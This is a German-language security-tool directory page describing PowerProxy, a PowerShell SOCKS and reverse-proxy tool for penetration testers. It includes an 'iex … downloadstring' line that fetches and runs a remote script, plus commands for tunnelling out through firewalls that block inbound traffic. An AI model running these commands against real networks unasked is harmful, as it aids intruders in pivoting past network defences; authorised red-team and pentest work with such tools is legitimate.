Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PowerProxy — PowerShell SOCKS-Proxy mit Reverse-Proxy-Funktionen | Kitploit
Tools/GitHubGitHub/get-get-get-get/powerproxy
NetzwerksicherheitPenetrationstestsCommand and ControlRed Teaming
GitHubget-get-get-get/powerproxy

PowerProxy

PowerShell SOCKS-Proxy mit Reverse-Proxy-Funktionen

Repository anzeigen
8413vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PowerProxy

PowerShell SOCKS-Proxy mit Reverse-Proxy-Funktionen.

PowerProxy wurde mit Blick auf Penetrationstester entwickelt. Die Reverse-Proxy-Funktionalität hat Priorität, um Netzwerke zu durchqueren, die eingehende Verbindungen blockieren. Reverse-Proxy-Verbindungen sind standardmäßig verschlüsselt. Für SOCKS5-Verbindungen wird eine Benutzername/Passwort-Authentifizierung unterstützt.

Setup

Importieren Sie das Skript:

root@kitploit:~
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1") 
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1

reverse_proxy_handler.py kann temporäre SSL-Zertifikate erstellen, wofür OpenSSL erforderlich ist. Wenn OpenSSL auf Ihrem Rechner nicht installiert ist (auf den meisten Linux/Unix-basierten Systemen ist es installiert), stellen Sie ein eigenes Zertifikat bereit oder verwenden Sie die Option --no-encrypt.

Usage

Eine detaillierte Verwendung finden Sie in der Hilfe von PowerProxy, oder verwenden Sie ./reverse_proxy_handler.py --help

Reverse-Proxy ausführen

Auf dem lokalen Rechner den Handler starten:

root@kitploit:~
# Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080 

In PowerShell:

root@kitploit:~
Start-ReverseSocksProxy 172.1.1.20 -Port 8080

Proxy-Clients können den von reverse_proxy_handler.py erstellten Server so behandeln, als wäre er der eigentliche SOCKS-Server:

root@kitploit:~
curl --socks4 127.0.0.1:1080 http://10.10.2.69/

Traditionellen SOCKS-Server ausführen

root@kitploit:~
Start-SocksProxy 172.10.2.20 -Port 9050

Authentifizierung erforderlich

Verwenden Sie PSCredential-Objekte, um einen Benutzernamen und ein Passwort anzufordern:

root@kitploit:~
# Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)

Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose

Einschränkungen

  • Derzeit werden nur CONNECT-Anfragen unterstützt. BIND-Unterstützung ist, falls praktikabel, ein Ziel.
  • GSSAPI-Authentifizierung wird nicht unterstützt.
  • reverse_proxy_handler.py wurde nur auf UNIX-basierten Rechnern getestet und funktioniert wahrscheinlich nicht unter Windows.
Tool herunterladen